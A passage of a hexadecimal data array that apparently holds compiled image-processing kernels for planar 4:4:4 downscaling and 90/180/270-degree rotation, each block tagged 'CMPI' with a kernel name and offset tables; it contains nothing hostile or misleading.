0xbfff005b, 0x00000c00, 0x3fff0073, 0x00000c00, 0xbfff0063, 0x00000c10, 0x3fff0075, 0x00000c10,
0xbfff005f, 0x00000c20, 0x3fff006d, 0x00000c20, 0xbfff0067, 0x00000c40, 0xbfff006b, 0x00000000,
0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000,
0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018,
0x00000004, 0x00000000, 0x0000002c, 0x0000002b, 0x00000005, 0x00000001, 0x00000058, 0x00000050,
0x00000006, 0x00000001, 0x000000a8, 0x00000150, 0x00000007, 0x00000001, 0x000001f8, 0x00000002,
0x00000000, 0x49504d43, 0x000e0000, 0x00000008, 0x000001e0, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x324c5000, 0x3434345f, 0x63534469, 0x31656c61,
0x75425f36, 0x00305f66, 0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000020, 0x8001006d,
0x00000030, 0x3fff0009, 0x00000040, 0xbfff006e, 0x00000060, 0xbfff006b, 0x00000090, 0x0000ffff,
0x000000a0, 0x3fff0002, 0x000000d0, 0x3fff0001, 0x00000180, 0x3fff0006, 0x00000190, 0x3fff0005,
0x000001d0, 0x3fff0000, 0x000002a0, 0xbfff0010, 0x000002a0, 0xbfff0011, 0x000002b0, 0xbfff0018,
0x000002b0, 0xbfff0019, 0x000004e0, 0xbfff000c, 0x00000540, 0xbfff0014, 0x00000600, 0xbfff000a,
0x00000630, 0xbfff0012, 0x00000640, 0xbfff000e, 0x00000660, 0xbfff0016, 0x00000710, 0x3fff0003,
0x00000740, 0x3fff0075, 0x00000740, 0x3fff0004, 0x00000810, 0x00090076, 0x00000810, 0x00090077,
0x00000810, 0x00090078, 0x00000810, 0x00090079, 0x00000810, 0x0009007a, 0x00000840, 0x3fff007f,
0x000008a0, 0xbfff000d, 0x000008b0, 0xbfff0015, 0x000008c0, 0x3fff007d, 0x000008d0, 0x3fff007e,
0x000008e0, 0x3fff007b, 0x000008f0, 0x3fff0071, 0x000008f0, 0x3fff007c, 0x00000900, 0x3fff006c,
0x00000910, 0x3fff006e, 0x00000920, 0x3fff0070, 0x00000930, 0x3fff0073, 0x00000940, 0x3fff006d,
0x00000940, 0xbfff000b, 0x00000950, 0x3fff006f, 0x00000950, 0xbfff0013, 0x00000960, 0x3fff0072,
0x00000960, 0xbfff000f, 0x00000970, 0x3fff0074, 0x00000970, 0xbfff0017, 0x00000990, 0xbfff006b,
0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014,
0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014,
0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x00000018, 0x00000005, 0x00000001, 0x00000044,
0x00000038, 0x00000006, 0x00000001, 0x0000007c, 0x00000160, 0x00000007, 0x00000001, 0x000001dc,
0x00000002, 0x49504d43, 0x000e0000, 0x00000008, 0x000001e0, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x324c5000, 0x3434345f, 0x63534469, 0x31656c61,
0x75425f36, 0x00315f66, 0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000020, 0x8001006d,
0x00000030, 0x3fff0009, 0x00000040, 0xbfff006e, 0x00000060, 0xbfff006b, 0x00000090, 0x0000ffff,
0x000000a0, 0x3fff0002, 0x000000d0, 0x3fff0001, 0x00000180, 0x3fff0006, 0x00000190, 0x3fff0005,
0x000001d0, 0x3fff0000, 0x000002a0, 0xbfff0020, 0x000002a0, 0xbfff0021, 0x000002b0, 0xbfff0028,
0x000002b0, 0xbfff0029, 0x000004e0, 0xbfff001c, 0x00000540, 0xbfff0024, 0x00000600, 0xbfff001a,
0x00000630, 0xbfff0022, 0x00000640, 0xbfff001e, 0x00000660, 0xbfff0026, 0x00000710, 0x3fff0003,
0x00000740, 0x3fff0075, 0x00000740, 0x3fff0004, 0x00000810, 0x00090076, 0x00000810, 0x00090077,
0x00000810, 0x00090078, 0x00000810, 0x00090079, 0x00000810, 0x0009007a, 0x00000840, 0x3fff007f,
0x000008a0, 0xbfff001d, 0x000008b0, 0xbfff0025, 0x000008c0, 0x3fff007d, 0x000008d0, 0x3fff007e,
0x000008e0, 0x3fff007b, 0x000008f0, 0x3fff0071, 0x000008f0, 0x3fff007c, 0x00000900, 0x3fff006c,
0x00000910, 0x3fff006e, 0x00000920, 0x3fff0070, 0x00000930, 0x3fff0073, 0x00000940, 0x3fff006d,
0x00000940, 0xbfff001b, 0x00000950, 0x3fff006f, 0x00000950, 0xbfff0023, 0x00000960, 0x3fff0072,
0x00000960, 0xbfff001f, 0x00000970, 0x3fff0074, 0x00000970, 0xbfff0027, 0x00000990, 0xbfff006b,
0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014,
0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014,
0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x00000018, 0x00000005, 0x00000001, 0x00000044,
0x00000038, 0x00000006, 0x00000001, 0x0000007c, 0x00000160, 0x00000007, 0x00000001, 0x000001dc,
0x00000002, 0x49504d43, 0x000e0000, 0x00000008, 0x000001e0, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x324c5000, 0x3434345f, 0x63534469, 0x31656c61,
0x75425f36, 0x00325f66, 0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000020, 0x8001006d,
0x00000030, 0x3fff0009, 0x00000040, 0xbfff006e, 0x00000060, 0xbfff006b, 0x00000090, 0x0000ffff,
0x000000a0, 0x3fff0002, 0x000000d0, 0x3fff0001, 0x00000180, 0x3fff0006, 0x00000190, 0x3fff0005,
0x000001d0, 0x3fff0000, 0x000002a0, 0xbfff0030, 0x000002a0, 0xbfff0031, 0x000002b0, 0xbfff0038,
0x000002b0, 0xbfff0039, 0x000004e0, 0xbfff002c, 0x00000540, 0xbfff0034, 0x00000600, 0xbfff002a,
0x00000630, 0xbfff0032, 0x00000640, 0xbfff002e, 0x00000660, 0xbfff0036, 0x00000710, 0x3fff0003,
0x00000740, 0x3fff0075, 0x00000740, 0x3fff0004, 0x00000810, 0x00090076, 0x00000810, 0x00090077,
0x00000810, 0x00090078, 0x00000810, 0x00090079, 0x00000810, 0x0009007a, 0x00000840, 0x3fff007f,
0x000008a0, 0xbfff002d, 0x000008b0, 0xbfff0035, 0x000008c0, 0x3fff007d, 0x000008d0, 0x3fff007e,
0x000008e0, 0x3fff007b, 0x000008f0, 0x3fff0071, 0x000008f0, 0x3fff007c, 0x00000900, 0x3fff006c,
0x00000910, 0x3fff006e, 0x00000920, 0x3fff0070, 0x00000930, 0x3fff0073, 0x00000940, 0x3fff006d,
0x00000940, 0xbfff002b, 0x00000950, 0x3fff006f, 0x00000950, 0xbfff0033, 0x00000960, 0x3fff0072,
0x00000960, 0xbfff002f, 0x00000970, 0x3fff0074, 0x00000970, 0xbfff0037, 0x00000990, 0xbfff006b,
0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014,
0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014,
0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x00000018, 0x00000005, 0x00000001, 0x00000044,
0x00000038, 0x00000006, 0x00000001, 0x0000007c, 0x00000160, 0x00000007, 0x00000001, 0x000001dc,
0x00000002, 0x49504d43, 0x000e0000, 0x00000008, 0x000001e0, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x324c5000, 0x3434345f, 0x63534469, 0x31656c61,
0x75425f36, 0x00335f66, 0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000020, 0x8001006d,
0x00000030, 0x3fff0009, 0x00000040, 0xbfff006e, 0x00000060, 0xbfff006b, 0x00000090, 0x0000ffff,
0x000000a0, 0x3fff0002, 0x000000d0, 0x3fff0001, 0x00000180, 0x3fff0006, 0x00000190, 0x3fff0005,
0x000001d0, 0x3fff0000, 0x000002a0, 0xbfff0040, 0x000002a0, 0xbfff0041, 0x000002b0, 0xbfff0048,
0x000002b0, 0xbfff0049, 0x000004e0, 0xbfff003c, 0x00000540, 0xbfff0044, 0x00000600, 0xbfff003a,
0x00000630, 0xbfff0042, 0x00000640, 0xbfff003e, 0x00000660, 0xbfff0046, 0x00000710, 0x3fff0003,
0x00000740, 0x3fff0075, 0x00000740, 0x3fff0004, 0x00000810, 0x00090076, 0x00000810, 0x00090077,
0x00000810, 0x00090078, 0x00000810, 0x00090079, 0x00000810, 0x0009007a, 0x00000840, 0x3fff007f,
0x000008a0, 0xbfff003d, 0x000008b0, 0xbfff0045, 0x000008c0, 0x3fff007d, 0x000008d0, 0x3fff007e,
0x000008e0, 0x3fff007b, 0x000008f0, 0x3fff0071, 0x000008f0, 0x3fff007c, 0x00000900, 0x3fff006c,
0x00000910, 0x3fff006e, 0x00000920, 0x3fff0070, 0x00000930, 0x3fff0073, 0x00000940, 0x3fff006d,
0x00000940, 0xbfff003b, 0x00000950, 0x3fff006f, 0x00000950, 0xbfff0043, 0x00000960, 0x3fff0072,
0x00000960, 0xbfff003f, 0x00000970, 0x3fff0074, 0x00000970, 0xbfff0047, 0x00000990, 0xbfff006b,
0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014,
0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014,
0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x00000018, 0x00000005, 0x00000001, 0x00000044,
0x00000038, 0x00000006, 0x00000001, 0x0000007c, 0x00000160, 0x00000007, 0x00000001, 0x000001dc,
0x00000002, 0x49504d43, 0x000e0000, 0x00000008, 0x000001d0, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x334c5000, 0x3434345f, 0x61635344, 0x3631656c,
0x6675425f, 0x0000305f, 0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000020, 0x8001006d,
0x00000030, 0x3fff0009, 0x00000040, 0xbfff006e, 0x00000050, 0xbfff006b, 0x00000090, 0x0000ffff,
0x000000f0, 0x3fff0001, 0x00000140, 0x3fff0002, 0x00000230, 0x3fff0006, 0x00000240, 0x3fff0005,
0x00000250, 0x3fff0000, 0x00000300, 0xbfff0010, 0x00000300, 0xbfff0011, 0x00000310, 0xbfff0018,
0x00000310, 0xbfff0019, 0x00000560, 0xbfff000c, 0x00000570, 0xbfff0014, 0x00000610, 0xbfff000e,
0x00000620, 0xbfff0016, 0x00000650, 0x3fff007c, 0x000006a0, 0xbfff000a, 0x000006d0, 0xbfff0012,
0x00000820, 0x3fff0003, 0x00000880, 0x3fff0004, 0x00000940, 0x000d006d, 0x00000940, 0x000d006e,
0x00000940, 0x000d006f, 0x00000940, 0x000d0070, 0x00000940, 0x000d0071, 0x00000960, 0xbfff000d,
0x00000980, 0x3fff007b, 0x00000990, 0xbfff0015, 0x000009a0, 0x3fff006c, 0x000009b0, 0x3fff0073,
0x000009c0, 0x3fff0072, 0x000009c0, 0xbfff000f, 0x000009d0, 0x3fff0074, 0x000009d0, 0xbfff0017,
0x000009e0, 0x3fff0075, 0x000009f0, 0x3fff007d, 0x000009f0, 0x3fff0076, 0x00000a00, 0x3fff0077,
0x00000a10, 0x3fff0079, 0x00000a20, 0x3fff0078, 0x00000a20, 0xbfff000b, 0x00000a30, 0x3fff007a,
0x00000a30, 0xbfff0013, 0x00000a50, 0xbfff006b, 0x00000000, 0x00000000, 0x00000000, 0x00000014,
0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c,
0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c,
0x00000017, 0x00000005, 0x00000001, 0x00000044, 0x00000038, 0x00000006, 0x00000001, 0x0000007c,
0x00000150, 0x00000007, 0x00000001, 0x000001cc, 0x00000002, 0x49504d43, 0x000e0000, 0x00000008,
0x000001d8, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
0x334c5000, 0x3434345f, 0x61635344, 0x3631656c, 0x6675425f, 0x525f305f, 0x315f746f, 0x00003038,
0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000020, 0x8001006d, 0x00000030, 0x3fff0009,
0x00000040, 0xbfff006e, 0x00000050, 0xbfff006b, 0x00000090, 0x0000ffff, 0x000000f0, 0x3fff0001,
0x00000180, 0x3fff0002, 0x00000240, 0x3fff0006, 0x00000250, 0x3fff0005, 0x00000260, 0x3fff0000,
0x00000320, 0xbfff0010, 0x00000320, 0xbfff0011, 0x00000330, 0xbfff0018, 0x00000330, 0xbfff0019,
0x00000340, 0x3fff007c, 0x00000550, 0xbfff000c, 0x00000560, 0xbfff0014, 0x000005d0, 0xbfff000e,
0x000005e0, 0xbfff0016, 0x000006a0, 0xbfff000a, 0x000006b0, 0xbfff0012, 0x000007e0, 0x3fff0003,
0x00000830, 0x3fff0004, 0x00000920, 0xbfff000d, 0x00000930, 0x000d006f, 0x00000930, 0x000d0070,
0x00000930, 0x000d0071, 0x00000930, 0x000d0072, 0x00000930, 0x000d0073, 0x00000940, 0xbfff0015,
0x00000960, 0x3fff007b, 0x00000970, 0x3fff006c, 0x00000980, 0x3fff006e, 0x00000990, 0x3fff006d,
0x00000990, 0xbfff000f, 0x000009a0, 0x3fff0074, 0x000009a0, 0xbfff0017, 0x000009b0, 0x3fff0075,
0x000009c0, 0x3fff007d, 0x000009c0, 0x3fff0076, 0x000009d0, 0x3fff0077, 0x000009e0, 0x3fff0079,
0x000009f0, 0x3fff0078, 0x000009f0, 0xbfff000b, 0x00000a00, 0x3fff007a, 0x00000a00, 0xbfff0013,
0x00000a20, 0xbfff006b, 0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001,
0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003,
0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x0000001f, 0x00000005,
0x00000001, 0x0000004c, 0x00000038, 0x00000006, 0x00000001, 0x00000084, 0x00000150, 0x00000007,
0x00000001, 0x000001d4, 0x00000002, 0x00000000, 0x00000000, 0x49504d43, 0x000e0000, 0x00000008,
0x000001d0, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
0x334c5000, 0x3434345f, 0x61635344, 0x3631656c, 0x6675425f, 0x525f305f, 0x325f746f, 0x00003037,
0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000020, 0x8001006d, 0x00000030, 0x3fff0009,
0x00000040, 0xbfff006e, 0x00000050, 0xbfff006b, 0x00000090, 0x0000ffff, 0x000000f0, 0x3fff0001,
0x00000160, 0x3fff0002, 0x00000240, 0x3fff0006, 0x00000260, 0x3fff0005, 0x00000270, 0x3fff0000,
0x00000320, 0xbfff0010, 0x00000320, 0xbfff0011, 0x00000330, 0xbfff0018, 0x00000330, 0xbfff0019,
0x00000580, 0xbfff000c, 0x00000590, 0xbfff0014, 0x00000630, 0xbfff0016, 0x00000640, 0xbfff000e,
0x000006b0, 0xbfff0012, 0x000006f0, 0xbfff000a, 0x00000800, 0x3fff0004, 0x00000880, 0x3fff0003,
0x00000890, 0x3fff007b, 0x00000900, 0x3fff0074, 0x00000950, 0xbfff000d, 0x00000960, 0x000d006d,
0x00000960, 0x000d006e, 0x00000960, 0x000d006f, 0x00000960, 0x000d0070, 0x00000970, 0xbfff0015,
0x000009a0, 0x3fff0071, 0x000009b0, 0x3fff0073, 0x000009c0, 0x3fff0072, 0x000009c0, 0xbfff000f,
0x000009d0, 0x3fff0075, 0x000009d0, 0xbfff0017, 0x000009e0, 0x3fff0076, 0x000009f0, 0x3fff007c,
0x000009f0, 0x3fff0077, 0x00000a00, 0x3fff0078, 0x00000a10, 0x3fff007a, 0x00000a20, 0x3fff0079,
0x00000a20, 0xbfff000b, 0x00000a30, 0x3fff006c, 0x00000a30, 0xbfff0013, 0x00000a50, 0xbfff006b,
0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014,
0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014,
0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x0000001f, 0x00000005, 0x00000001, 0x0000004c,
0x00000038, 0x00000006, 0x00000001, 0x00000084, 0x00000148, 0x00000007, 0x00000001, 0x000001cc,
0x00000002, 0x49504d43, 0x000e0000, 0x00000008, 0x000001d0, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x334c5000, 0x3434345f, 0x61635344, 0x3631656c,
0x6675425f, 0x525f305f, 0x395f746f, 0x00000030, 0x00000000, 0x00000000, 0x00000000, 0x8000006c,
0x00000020, 0x8001006d, 0x00000030, 0x3fff0009, 0x00000040, 0xbfff006e, 0x00000050, 0xbfff006b,
0x00000090, 0x0000ffff, 0x00000110, 0x3fff0001, 0x00000140, 0x3fff0002, 0x00000200, 0x3fff0006,
0x00000230, 0x3fff0005, 0x00000240, 0x3fff0000, 0x00000300, 0xbfff0010, 0x00000300, 0xbfff0011,
0x00000310, 0xbfff0018, 0x00000310, 0xbfff0019, 0x00000540, 0xbfff000c, 0x00000550, 0xbfff0014,
0x000005c0, 0xbfff000e, 0x000005d0, 0xbfff0016, 0x000006a0, 0xbfff000a, 0x000006b0, 0xbfff0012,
0x00000800, 0x3fff0003, 0x00000820, 0x3fff0004, 0x00000900, 0x000d006d, 0x00000900, 0x000d006e,
0x00000900, 0x000d006f, 0x00000900, 0x000d0070, 0x00000900, 0x000d0071, 0x00000920, 0xbfff000d,
0x00000940, 0x3fff007b, 0x00000950, 0xbfff0015, 0x00000960, 0x3fff006c, 0x00000970, 0x3fff0073,
0x00000980, 0x3fff0072, 0x00000980, 0xbfff000f, 0x00000990, 0x3fff0074, 0x00000990, 0xbfff0017,
0x000009a0, 0x3fff0075, 0x000009b0, 0x3fff007c, 0x000009b0, 0x3fff0076, 0x000009c0, 0x3fff0077,
0x000009d0, 0x3fff0079, 0x000009e0, 0x3fff0078, 0x000009e0, 0xbfff000b, 0x000009f0, 0x3fff007a,
0x000009f0, 0xbfff0013, 0x00000a10, 0xbfff006b, 0x00000000, 0x00000000, 0x00000000, 0x00000014,
0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c,
0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c,
0x0000001e, 0x00000005, 0x00000001, 0x0000004c, 0x00000038, 0x00000006, 0x00000001, 0x00000084,
0x00000148, 0x00000007, 0x00000001, 0x000001cc, 0x00000002, 0x49504d43, 0x000e0000, 0x00000008,
0x000001d0, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
0x334c5000, 0x3434345f, 0x61635344, 0x3631656c, 0x6675425f, 0x0000315f, 0x00000000, 0x00000000,
0x00000000, 0x8000006c, 0x00000020, 0x8001006d, 0x00000030, 0x3fff0009, 0x00000040, 0xbfff006e,
0x00000060, 0xbfff006b, 0x000000a0, 0x0000ffff, 0x00000100, 0x3fff0001, 0x00000150, 0x3fff0002,
0x00000240, 0x3fff0006, 0x00000250, 0x3fff0005, 0x00000260, 0x3fff0000, 0x00000310, 0xbfff0020,
0x00000310, 0xbfff0021, 0x00000320, 0xbfff0028, 0x00000320, 0xbfff0029, 0x00000490, 0x3fff007c,
0x00000590, 0xbfff001c, 0x000005a0, 0xbfff0024, 0x00000610, 0xbfff001e, 0x00000630, 0xbfff0026,
0x000006f0, 0xbfff001a, 0x00000720, 0xbfff0022, 0x00000870, 0x3fff0003, 0x000008d0, 0x3fff0004,
0x00000990, 0x000d006d, 0x00000990, 0x000d006e, 0x00000990, 0x000d006f, 0x00000990, 0x000d0070,
0x00000990, 0x000d0071, 0x000009b0, 0xbfff001d, 0x000009d0, 0x3fff007b, 0x000009e0, 0xbfff0025,
0x000009f0, 0x3fff006c, 0x00000a00, 0x3fff0073, 0x00000a10, 0x3fff0072, 0x00000a10, 0xbfff001f,
0x00000a20, 0x3fff0074, 0x00000a20, 0xbfff0027, 0x00000a30, 0x3fff0075, 0x00000a40, 0x3fff007d,
0x00000a40, 0x3fff0076, 0x00000a50, 0x3fff0077, 0x00000a60, 0x3fff0079, 0x00000a70, 0x3fff0078,
0x00000a70, 0xbfff001b, 0x00000a80, 0x3fff007a, 0x00000a80, 0xbfff0023, 0x00000aa0, 0xbfff006b,
0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014,
0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014,
0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x00000017, 0x00000005, 0x00000001, 0x00000044,
0x00000038, 0x00000006, 0x00000001, 0x0000007c, 0x00000150, 0x00000007, 0x00000001, 0x000001cc,
0x00000002, 0x49504d43, 0x000e0000, 0x00000008, 0x000001d8, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x334c5000, 0x3434345f, 0x61635344, 0x3631656c,
0x6675425f, 0x525f315f, 0x315f746f, 0x00003038, 0x00000000, 0x00000000, 0x00000000, 0x8000006c,
0x00000020, 0x8001006d, 0x00000030, 0x3fff0009, 0x00000040, 0xbfff006e, 0x00000060, 0xbfff006b,
0x000000a0, 0x0000ffff, 0x00000100, 0x3fff0001, 0x00000190, 0x3fff0002, 0x00000250, 0x3fff0006,
0x00000260, 0x3fff0005, 0x00000270, 0x3fff0000, 0x00000330, 0xbfff0020, 0x00000330, 0xbfff0021,
0x00000340, 0xbfff0028, 0x00000340, 0xbfff0029, 0x00000350, 0x3fff007c, 0x00000570, 0xbfff001c,
0x00000580, 0xbfff0024, 0x000005f0, 0xbfff001e, 0x00000600, 0xbfff0026, 0x000006c0, 0xbfff001a,
0x000006d0, 0xbfff0022, 0x00000800, 0x3fff0003, 0x00000850, 0x3fff0004, 0x00000940, 0xbfff001d,
0x00000950, 0x000d006f, 0x00000950, 0x000d0070, 0x00000950, 0x000d0071, 0x00000950, 0x000d0072,
0x00000950, 0x000d0073, 0x00000960, 0xbfff0025, 0x00000980, 0x3fff007b, 0x00000990, 0x3fff006c,
0x000009a0, 0x3fff006e, 0x000009b0, 0x3fff006d, 0x000009b0, 0xbfff001f, 0x000009c0, 0x3fff0074,
0x000009c0, 0xbfff0027, 0x000009d0, 0x3fff0075, 0x000009e0, 0x3fff007d, 0x000009e0, 0x3fff0076,
0x000009f0, 0x3fff0077, 0x00000a00, 0x3fff0079, 0x00000a10, 0x3fff0078, 0x00000a10, 0xbfff001b,
0x00000a20, 0x3fff007a, 0x00000a20, 0xbfff0023, 0x00000a40, 0xbfff006b, 0x00000000, 0x00000000,
0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002,
0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018, 0x00000004,
0x00000000, 0x0000002c, 0x0000001f, 0x00000005, 0x00000001, 0x0000004c, 0x00000038, 0x00000006,
0x00000001, 0x00000084, 0x00000150, 0x00000007, 0x00000001, 0x000001d4, 0x00000002, 0x00000000,
0x00000000, 0x49504d43, 0x000e0000, 0x00000008, 0x000001d0, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x334c5000, 0x3434345f, 0x61635344, 0x3631656c,
0x6675425f, 0x525f315f, 0x325f746f, 0x00003037, 0x00000000, 0x00000000, 0x00000000, 0x8000006c,
0x00000020, 0x8001006d, 0x00000030, 0x3fff0009, 0x00000040, 0xbfff006e, 0x00000060, 0xbfff006b,
0x000000a0, 0x0000ffff, 0x00000100, 0x3fff0001, 0x00000170, 0x3fff0002, 0x00000250, 0x3fff0006,
0x00000270, 0x3fff0005, 0x00000280, 0x3fff0000, 0x00000330, 0xbfff0020, 0x00000330, 0xbfff0021,
0x00000340, 0xbfff0028, 0x00000340, 0xbfff0029, 0x000005a0, 0xbfff001c, 0x000005b0, 0xbfff0024,
0x00000660, 0xbfff0026, 0x00000670, 0xbfff001e, 0x000006e0, 0xbfff0022, 0x00000720, 0xbfff001a,
0x00000830, 0x3fff0004, 0x000008b0, 0x3fff0003, 0x000008c0, 0x3fff007b, 0x00000930, 0x3fff0074,
0x00000980, 0xbfff001d, 0x00000990, 0x000d006d, 0x00000990, 0x000d006e, 0x00000990, 0x000d006f,
0x00000990, 0x000d0070, 0x000009a0, 0xbfff0025, 0x000009d0, 0x3fff0071, 0x000009e0, 0x3fff0073,
0x000009f0, 0x3fff0072, 0x000009f0, 0xbfff001f, 0x00000a00, 0x3fff0075, 0x00000a00, 0xbfff0027,
0x00000a10, 0x3fff0076, 0x00000a20, 0x3fff007c, 0x00000a20, 0x3fff0077, 0x00000a30, 0x3fff0078,
0x00000a40, 0x3fff007a, 0x00000a50, 0x3fff0079, 0x00000a50, 0xbfff001b, 0x00000a60, 0x3fff006c,
0x00000a60, 0xbfff0023, 0x00000a80, 0xbfff006b, 0x00000000, 0x00000000, 0x00000000, 0x00000014,
0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c,
0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c,
0x0000001f, 0x00000005, 0x00000001, 0x0000004c, 0x00000038, 0x00000006, 0x00000001, 0x00000084,
0x00000148, 0x00000007, 0x00000001, 0x000001cc, 0x00000002, 0x49504d43, 0x000e0000, 0x00000008,
0x000001d0, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
0x334c5000, 0x3434345f, 0x61635344, 0x3631656c, 0x6675425f, 0x525f315f, 0x395f746f, 0x00000030,
0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000020, 0x8001006d, 0x00000030, 0x3fff0009,
0x00000040, 0xbfff006e, 0x00000060, 0xbfff006b, 0x000000a0, 0x0000ffff, 0x00000120, 0x3fff0001,
0x00000150, 0x3fff0002, 0x00000210, 0x3fff0006, 0x00000240, 0x3fff0005, 0x00000250, 0x3fff0000,
0x00000310, 0xbfff0020, 0x00000310, 0xbfff0021, 0x00000320, 0xbfff0028, 0x00000320, 0xbfff0029,
0x00000560, 0xbfff001c, 0x00000570, 0xbfff0024, 0x000005e0, 0xbfff001e, 0x000005f0, 0xbfff0026,
0x000006c0, 0xbfff001a, 0x000006d0, 0xbfff0022, 0x00000820, 0x3fff0003, 0x00000840, 0x3fff0004,
0x00000920, 0x000d006d, 0x00000920, 0x000d006e, 0x00000920, 0x000d006f, 0x00000920, 0x000d0070,
0x00000920, 0x000d0071, 0x00000940, 0xbfff001d, 0x00000960, 0x3fff007b, 0x00000970, 0xbfff0025,
0x00000980, 0x3fff006c, 0x00000990, 0x3fff0073, 0x000009a0, 0x3fff0072, 0x000009a0, 0xbfff001f,
0x000009b0, 0x3fff0074, 0x000009b0, 0xbfff0027, 0x000009c0, 0x3fff0075, 0x000009d0, 0x3fff007c,
0x000009d0, 0x3fff0076, 0x000009e0, 0x3fff0077, 0x000009f0, 0x3fff0079, 0x00000a00, 0x3fff0078,
0x00000a00, 0xbfff001b, 0x00000a10, 0x3fff007a, 0x00000a10, 0xbfff0023, 0x00000a30, 0xbfff006b,
0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014,
0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014,
0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x0000001e, 0x00000005, 0x00000001, 0x0000004c,
0x00000038, 0x00000006, 0x00000001, 0x00000084, 0x00000148, 0x00000007, 0x00000001, 0x000001cc,
0x00000002, 0x49504d43, 0x000e0000, 0x00000008, 0x000001d0, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x334c5000, 0x3434345f, 0x61635344, 0x3631656c,
0x6675425f, 0x0000325f, 0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000020, 0x8001006d,
0x00000030, 0x3fff0009, 0x00000040, 0xbfff006e, 0x00000050, 0xbfff006b, 0x00000090, 0x0000ffff,
0x000000f0, 0x3fff0001, 0x00000140, 0x3fff0002, 0x00000230, 0x3fff0006, 0x00000240, 0x3fff0005,
0x00000250, 0x3fff0000, 0x00000300, 0xbfff0030, 0x00000300, 0xbfff0031, 0x00000310, 0xbfff0038,
0x00000310, 0xbfff0039, 0x00000480, 0x3fff007c, 0x00000580, 0xbfff002c, 0x00000590, 0xbfff0034,
0x00000600, 0xbfff002e, 0x00000620, 0xbfff0036, 0x000006e0, 0xbfff002a, 0x00000710, 0xbfff0032,
0x00000860, 0x3fff0003, 0x000008c0, 0x3fff0004, 0x00000980, 0x000d006d, 0x00000980, 0x000d006e,
